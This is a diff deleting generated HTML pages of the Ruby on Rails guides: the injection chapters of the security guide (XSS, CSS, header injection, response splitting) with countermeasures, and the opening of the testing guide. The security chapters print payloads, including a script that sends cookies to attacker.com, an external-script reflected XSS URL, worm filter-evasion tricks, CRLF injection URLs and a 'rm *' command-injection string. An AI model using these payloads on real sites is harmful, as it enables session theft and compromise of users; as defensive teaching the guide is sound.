-<h4 id="_entry_points">8.3.1. Entry points</h4>
-<div class="paragraph"><p>An entry point is a vulnerable URL and its parameters where an attacker can start an attack.</p></div>
-<div class="paragraph"><p>The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the <a href="http://livehttpheaders.mozdev.org/">Live HTTP Headers Firefox plugin</a>, or client-site proxies make it easy to change requests.</p></div>
-<div class="paragraph"><p>XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session; redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.</p></div>
-<div class="paragraph"><p>During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security threat report</a> also documented 239 browser plug-in vulnerabilities in the last six months of 2007. <a href="http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx">Mpack</a> is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites <a href="http://www.0x000000.com/?i=556">were hacked</a> like this, among them the British government, United Nations and many more high targets.</p></div>
-<div class="paragraph"><p>A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to <a href="http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/">Trend Micro</a>.</p></div>
-<h4 id="_html_javascript_injection">8.3.2. HTML/JavaScript Injection</h4>
-<div class="paragraph"><p>The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. <span style="background-color: #fffcdb;">Escaping user input is essential</span>.</p></div>
-<div class="paragraph"><p>Here is the most straightforward test to check for XSS:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&lt;script&gt;alert('Hello');&lt;/script&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&lt;img src=javascript:alert('Hello')&gt;
-&lt;table background="javascript:alert('Hello')"&gt;</tt></pre>
-</div></div>
-<h5 id="_cookie_theft">Cookie theft</h5>
-<div class="paragraph"><p>These examples don&#8217;t do any harm so far, so let&#8217;s see how an attacker can steal the user&#8217;s cookie (and thus hijack the user&#8217;s session). In JavaScript you can use the document.cookie property to read and write the document&#8217;s cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&lt;script&gt;document.write(document.cookie);&lt;/script&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL <a href="http://www.attacker.com/">http://www.attacker.com/</a> plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server&#8217;s access log files to see the victims cookie.</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&lt;script&gt;document.write('&lt;img src="http://www.attacker.com/' + document.cookie + '"&gt;');&lt;/script&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>The log files on www.attacker.com will read like this:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2</tt></pre>
-</div></div>
-<div class="paragraph"><p>You can mitigate these attacks (in the obvious way) by adding the <a href="http://dev.rubyonrails.org/ticket/8895">httpOnly</a> flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies <a href="http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/">will still be visible using Ajax</a>, though.</p></div>
-<h5 id="_defacement">Defacement</h5>
-<div class="paragraph"><p>With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&lt;iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”&gt;&lt;/iframe&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an <a href="http://www.symantec.com/enterprise/security_response/weblog/2007/06/italy_under_attack_mpack_gang.html">actual attack</a> on legitimate Italian sites using the <a href="http://isc.sans.org/diary.html?storyid=3015">Mpack attack framework</a>. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.</p></div>
-<div class="paragraph"><p>A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site&#8217;s original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.</p></div>
-<div class="paragraph"><p>Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--&gt;
- &lt;script src=http://www.securitylab.ru/test/sc.js&gt;&lt;/script&gt;&lt;!--</tt></pre>
-</div></div>
-<h5 id="_countermeasures_3">Countermeasures</h5>
-<div class="paragraph"><p><span style="background-color: #fffcdb;">It is very important to filter malicious input, but it is also important to escape the output of the web application</span>.</p></div>
-<div class="paragraph"><p>Especially for XSS, it is important to do <span style="background-color: #fffcdb;">whitelist input filtering instead of blacklist</span>. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.</p></div>
-<div class="paragraph"><p>Imagine a blacklist deletes “script” from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>strip_tags("some&lt;&lt;b&gt;script&gt;alert('hello')&lt;&lt;/b&gt;/script&gt;")</tt></pre>
-</div></div>
-<div class="paragraph"><p>This returned "some&lt;script&gt;alert(<em>hello</em>)&lt;/script&gt;", which makes an attack work. That&#8217;s why I vote for a whitelist approach, using the updated Rails 2 method sanitize():</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
-s = sanitize(user_input, :tags =&gt; tags, :attributes =&gt; %w(href title))</tt></pre>
-</div></div>
-<div class="paragraph"><p>This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.</p></div>
-<div class="paragraph"><p>As a second step, <span style="background-color: #fffcdb;">it is good practice to escape all output of the application</span>, especially when re-displaying user input, which hasn&#8217;t been input filtered (as in the search form example earlier on). <span style="background-color: #fffcdb;">Use escapeHTML() (or its alias h()) method</span> to replace the HTML input characters &amp;,",&lt;,&gt; by its uninterpreted representations in HTML (&amp;, &quot;, &lt; and &gt;). However, it can easily happen that the programmer forgets to use it, so <span style="background-color: #fffcdb;">it is recommended to use the <a href="http://safe-erb.rubyforge.org/svn/plugins/safe_erb/">SafeErb</a> plugin</span>. SafeErb reminds you to escape strings from external sources.</p></div>
-<h5 id="_obfuscation_and_encoding_injection">Obfuscation and Encoding Injection</h5>
-<div class="paragraph"><p>Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;
- &amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the <a href="http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php">Hackvertor</a>. Rails‘ sanitize() method does a good job to fend off encoding attacks.</p></div>
-<h4 id="_examples_from_the_underground">8.3.3. Examples from the underground</h4>
-<div class="paragraph"><p>-- <em>In order to understand today&#8217;s attacks on web applications, it&#8217;s best to take a look at some real-world attack vectors.</em></p></div>
-<div class="paragraph"><p>The following is an excerpt from the <a href="http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&amp;tabid=1">Js.Yamanner@m</a> Yahoo! Mail <a href="http://groovin.net/stuff/yammer.txt">worm</a>. It appeared on June 11, 2006 and was the first webmail interface worm:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&lt;img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
- target=""onload="var http_request = false; var Email = '';
- var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...</tt></pre>
-</div></div>
-<div class="paragraph"><p>The worms exploits a hole in Yahoo&#8217;s HTML/JavaScript filter, it usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.</p></div>
-<div class="paragraph"><p>Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details and a video demonstration on <a href="http://rosario.valotta.googlepages.com/home">Rosario Valotta&#8217;s website</a>. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.</p></div>
-<div class="paragraph"><p>In December 2006, 34,000 actual user names and passwords were stolen in a <a href="http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html">MySpace phishing attack</a>. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.</p></div>
-<div class="paragraph"><p>The MySpace Samy worm will be discussed in the CSS Injection section.</p></div>
-<h3 id="_css_injection">8.4. CSS Injection</h3>
-<div class="paragraph"><p>-- <em>CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application.</em></p></div>
-<div class="paragraph"><p>CSS Injection is explained best by a well-known worm, the <a href="http://namb.la/popular/tech.html">MySpace Samy worm</a>. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.</p></div>
-<div class="paragraph"><p>MySpace blocks many tags, however it allows CSS. So the worm&#8217;s author put JavaScript into CSS like this:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&lt;div style="background:url('javascript:alert(1)')"&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&lt;div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>alert(eval('document.body.inne' + 'rHTML'));</tt></pre>
-</div></div>
-<div class="paragraph"><p>The next problem was MySpace filtering the word “javascript”, so the author used “java&lt;NEWLINE&gt;script" to get around this:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&lt;div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')"&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>Another problem for the worm&#8217;s author were CSRF security tokens. Without them he couldn&#8217;t send a friend request over POST. He got around it by sending a GET to the page right before adding a the user and parsing the result for the CSRF token.</p></div>
-<div class="paragraph"><p>In the end, he got a 4 KB worm, which he injected into his profile page.</p></div>
-<div class="paragraph"><p>The <a href="http://www.securiteam.com/securitynews/5LP051FHPE.html">moz-binding</a> CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).</p></div>
-<h4 id="_countermeasures_4">8.4.1. Countermeasures</h4>
-<div class="paragraph"><p>This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. <span style="background-color: #fffcdb;">If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application</span>. Use Rails' <tt>sanitize()</tt> method as a model for a whitelist CSS filter, if you really need one.</p></div>
-<h3 id="_textile_injection">8.5. Textile Injection</h3>
-<div class="paragraph"><p>-- <em>If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. <a href="http://whytheluckystiff.net/ruby/redcloth/">RedCloth</a> is such a language for Ruby, but without precautions, it is also vulnerable to XSS.</em></p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>For example, RedCloth translates _test_ to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the http://www.redcloth.org[all-new version 4] that removed serious bugs. However, even that version has http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html[some security bugs], so the countermeasures still apply. Here is an example for version 3.0.4:</tt></pre>
-</div></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&gt;&gt; RedCloth.new('&lt;script&gt;alert(1)&lt;/script&gt;').to_html
-=&gt; "&lt;script&gt;alert(1)&lt;/script&gt;"</tt></pre>
-</div></div>
-<div class="paragraph"><p>Use the :filter_html option to remove HTML which was not created by the Textile processor.</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&gt;&gt; RedCloth.new('&lt;script&gt;alert(1)&lt;/script&gt;', [:filter_html]).to_html
-=&gt; "alert(1)"</tt></pre>
-</div></div>
-<div class="paragraph"><p>However, this does not filter all HTML, a few tags will be left (by design), for example &lt;a&gt;:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&gt;&gt; RedCloth.new("&lt;a href='javascript:alert(1)'&gt;hello&lt;/a&gt;", [:filter_html]).to_html
-=&gt; "&lt;p&gt;&lt;a href="javascript:alert(1)"&gt;hello&lt;/a&gt;&lt;/p&gt;"</tt></pre>
-</div></div>
-<h4 id="_countermeasures_5">8.5.1. Countermeasures</h4>
-<div class="paragraph"><p>It is recommended to <span style="background-color: #fffcdb;">use RedCloth in combination with a whitelist input filter</span>, as described in the countermeasures against XSS.</p></div>
-<h3 id="_ajax_injection">8.6. Ajax Injection</h3>
-<div class="paragraph"><p>-- <em>The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn&#8217;t render a view.</em></p></div>
-<div class="paragraph"><p>If you use the <a href="http://dev.rubyonrails.org/browser/plugins/in_place_editing">in_place_editor plugin</a>, or actions that return a string, rather than rendering a view, <span style="background-color: #fffcdb;">you have to escape the return value in the action</span>. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.</p></div>
-<h3 id="_rjs_injection">8.7. RJS Injection</h3>
-<div class="paragraph"><p>-- <em>Don&#8217;t forget to escape in JavaScript (RJS) templates, too.</em></p></div>
-<div class="paragraph"><p>The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. <span style="background-color: #fffcdb;">If you allow user input in RJS templates, do escape it using escape_javascript() within JavaScript functions, and in HTML parts using h()</span>. Otherwise an attacker could execute arbitrary JavaScript.</p></div>
-<h3 id="_command_line_injection">8.8. Command Line Injection</h3>
-<div class="paragraph"><p>-- <em>Use user-supplied command line parameters with caution.</em></p></div>
-<div class="paragraph"><p>If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).</p></div>
-<div class="paragraph"><p>A countermeasure is to <span style="background-color: #fffcdb;">use the <tt>system(command, parameters)</tt> method which passes command line parameters safely</span>.</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>system("/bin/echo","hello; rm *")
-# prints "hello; rm *" and does not delete files</tt></pre>
-</div></div>
-<h3 id="_header_injection">8.9. Header Injection</h3>
-<div class="paragraph"><p>-- <em>HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting.</em></p></div>
-<div class="paragraph"><p>HTTP request headers have a Referer, User-Agent (client software) and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. <span style="background-color: #fffcdb;">Remember to escape these header fields, too.</span> For example when you display the user agent in an administration area.</p></div>
-<div class="paragraph"><p>Besides that, it is <span style="background-color: #fffcdb;">important to know what you are doing when building response headers partly based on user input.</span> For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>redirect_to params[:referer]</tt></pre>
-</div></div>
-<div class="paragraph"><p>What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld</tt></pre>
-</div></div>
-<div class="paragraph"><p>And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
-http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld</tt></pre>
-</div></div>
-<div class="paragraph"><p>Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>HTTP/1.1 302 Moved Temporarily
-(...)
-Location: http://www.malicious.tld</tt></pre>
-</div></div>
-<div class="paragraph"><p>So <span style="background-color: #fffcdb;">attack vectors for Header Injection are based on the injection of CRLF characters in a header field.</span> And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. <span style="background-color: #fffcdb;">Rails 2.1.2 escapes these characters for the Location field in the redirect_to method. Make sure you do it yourself when you build other header fields with user input.</span></p></div>
-<h4 id="_response_splitting">8.9.1. Response Splitting</h4>
-<div class="paragraph"><p>If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>HTTP/1.1 302 Found [First standard 302 response]
-Date: Tue, 12 Apr 2005 22:09:07 GMT
-Location:
Content-Type: text/html
-
-
-HTTP/1.1 200 OK [Second New response created by attacker begins]
-Content-Type: text/html
-
-
-&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitary malicious input is
-Keep-Alive: timeout=15, max=100 shown as the redirected page]
-Connection: Keep-Alive
-Transfer-Encoding: chunked
-Content-Type: text/html</tt></pre>
-</div></div>
-<div class="paragraph"><p>Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can&#8217;t rely on this. <span style="background-color: #fffcdb;">In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.</span></p></div>
-</div>
-<h2 id="_additional_resources">9. Additional resources</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-The Ruby on Rails security project posts security news regularly: <a href="http://www.rorsecurity.info">http://www.rorsecurity.info</a>
-</p>
-</li>
-<li>
-<p>
-Subscribe to the Rails security <a href="http://groups.google.com/group/rubyonrails-security">mailing list</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://secunia.com/">Keep up to date on the other application layers</a> (they have a weekly newsletter, too)
-</p>
-</li>
-<li>
-<p>
-A <a href="http://ha.ckers.org/blog/">good security blog</a> including the <a href="http://ha.ckers.org/xss.html">Cross-Site scripting Cheat Sheet</a>
-</p>
-</li>
-<li>
-<p>
-Another <a href="http://www.0x000000.com/">good security blog</a> with some Cheat Sheets, too
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_changelog">10. Changelog</h2>
-<div class="sectionbody">
-<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/7">Lighthouse ticket</a></p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-November 1, 2008: First approved version by Heiko Webers
-</p>
-</li>
-</ul></div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/testing_rails_applications.html b/railties/doc/guides/html/testing_rails_applications.html
deleted file mode 100644
index 16822904fc..0000000000
--- a/railties/doc/guides/html/testing_rails_applications.html
+++ /dev/null
@@ -1,1551 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>A Guide to Testing Rails Applications</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_why_write_tests_for_your_rails_applications">Why Write Tests for your Rails Applications?</a>
- </li>
- <li>
- <a href="#_introduction_to_testing">Introduction to Testing</a>
- <ul>
-
- <li><a href="#_the_3_environments">The 3 Environments</a></li>
-
- <li><a href="#_rails_sets_up_for_testing_from_the_word_go">Rails Sets up for Testing from the Word Go</a></li>
-
- <li><a href="#_the_low_down_on_fixtures">The Low-Down on Fixtures</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_unit_testing_your_models">Unit Testing your Models</a>
- <ul>
-
- <li><a href="#_preparing_you_application_for_testing">Preparing you Application for Testing</a></li>
-
- <li><a href="#_running_tests">Running Tests</a></li>
-
- <li><a href="#_what_to_include_in_your_unit_tests">What to Include in Your Unit Tests</a></li>
-
- <li><a href="#_assertions_available">Assertions Available</a></li>
-
- <li><a href="#_rails_specific_assertions">Rails Specific Assertions</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_functional_tests_for_your_controllers">Functional Tests for Your Controllers</a>
- <ul>
-
- <li><a href="#_what_to_include_in_your_functional_tests">What to include in your Functional Tests</a></li>
-
- <li><a href="#_available_request_types_for_functional_tests">Available Request Types for Functional Tests</a></li>
-
- <li><a href="#_the_4_hashes_of_the_apocalypse">The 4 Hashes of the Apocalypse</a></li>
-
- <li><a href="#_instance_variables_available">Instance Variables Available</a></li>
-
- <li><a href="#_a_fuller_functional_test_example">A Fuller Functional Test Example</a></li>
-
- <li><a href="#_testing_views">Testing Views</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_integration_testing">Integration Testing</a>
- <ul>
-
- <li><a href="#_helpers_available_for_integration_tests">Helpers Available for Integration tests</a></li>
-
- <li><a href="#_integration_testing_examples">Integration Testing Examples</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_rake_tasks_for_running_your_tests">Rake Tasks for Running your Tests</a>
- </li>
- <li>
- <a href="#_brief_note_about_test_unit">Brief Note About Test::Unit</a>
- </li>
- <li>
- <a href="#_setup_and_teardown">Setup and Teardown</a>
- </li>
- <li>
- <a href="#_testing_routes">Testing Routes</a>
- </li>
- <li>
- <a href="#_testing_your_mailers">Testing Your Mailers</a>
- <ul>
-
- <li><a href="#_keeping_the_postman_in_check">Keeping the Postman in Check</a></li>
-
- <li><a href="#_unit_testing">Unit Testing</a></li>
-
- <li><a href="#_functional_testing">Functional Testing</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_other_testing_approaches">Other Testing Approaches</a>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>A Guide to Testing Rails Applications</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>This guide covers built-in mechanisms offered by Rails to test your application. By referring to this guide, you will be able to:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Understand Rails testing terminology
-</p>
-</li>
-<li>
-<p>
-Write unit, functional and integration tests for your application
-</p>
-</li>
-<li>
-<p>
-Identify other popular testing approaches and plugins
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>This guide won&#8217;t teach you to write a Rails application; it assumes basic familiarity with the Rails way of doing things.</p></div>
-</div>
-</div>
-<h2 id="_why_write_tests_for_your_rails_applications">1. Why Write Tests for your Rails Applications?</h2>
-<div class="sectionbody">
-<div class="ulist"><ul>
-<li>
-<p>
-Rails makes it super easy to write your tests. It starts by producing skeleton test code in background while you are creating your models and controllers.
-</p>
-</li>
-<li>
-<p>
-By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
-</p>
-</li>
-<li>
-<p>
-Rails tests can also simulate browser requests and thus you can test your application&#8217;s response without having to test it through your browser.
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_introduction_to_testing">2. Introduction to Testing</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Testing support was woven into the Rails fabric from the beginning. It wasn&#8217;t an "oh! let&#8217;s bolt on support for running tests because they&#8217;re new and cool" epiphany. Just about every Rails application interacts heavily with a database - and, as a result, your tests will need a database to interact with as well. To write efficient tests, you&#8217;ll need to understand how to set up this database and populate it with sample data.</p></div>
-<h3 id="_the_3_environments">2.1. The 3 Environments</h3>
-<div class="paragraph"><p>Every Rails application you build has 3 sides: a side for production, a side for development, and a side for testing.</p></div>
-<div class="paragraph"><p>One place you&#8217;ll find this distinction is in the <tt>config/database.yml</tt> file. This YAML configuration file has 3 different sections defining 3 unique database setups:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-production
-</p>
-</li>
-<li>
-<p>
-development
-</p>
-</li>
-<li>
-<p>
-test
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>This allows you to set up and interact with test data without any danger of your tests altering data from your production environment.</p></div>
-<div class="paragraph"><p>For example, suppose you need to test your new <tt>delete_this_user_and_every_everything_associated_with_it</tt> function. Wouldn&#8217;t you want to run this in an environment where it makes no difference if you destroy data or not?</p></div>
-<div class="paragraph"><p>When you do end up destroying your testing database (and it will happen, trust me), you can rebuild it from scratch according to the specs defined in the development database. You can do this by running <tt>rake db:test:prepare</tt>.</p></div>
-<h3 id="_rails_sets_up_for_testing_from_the_word_go">2.2. Rails Sets up for Testing from the Word Go</h3>
-<div class="paragraph"><p>Rails creates a <tt>test</tt> folder for you as soon as you create a Rails project using <tt>rails <em>application_name</em></tt>. If you list the contents of this folder then you shall see:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ ls -F <span style="font-weight: bold"><span style="color: #0000FF">test</span></span><span style="color: #990000">/</span>
-
-fixtures<span style="color: #990000">/</span> functional<span style="color: #990000">/</span> integration<span style="color: #990000">/</span> test_helper<span style="color: #990000">.</span>rb unit<span style="color: #990000">/</span></tt></pre></div></div>
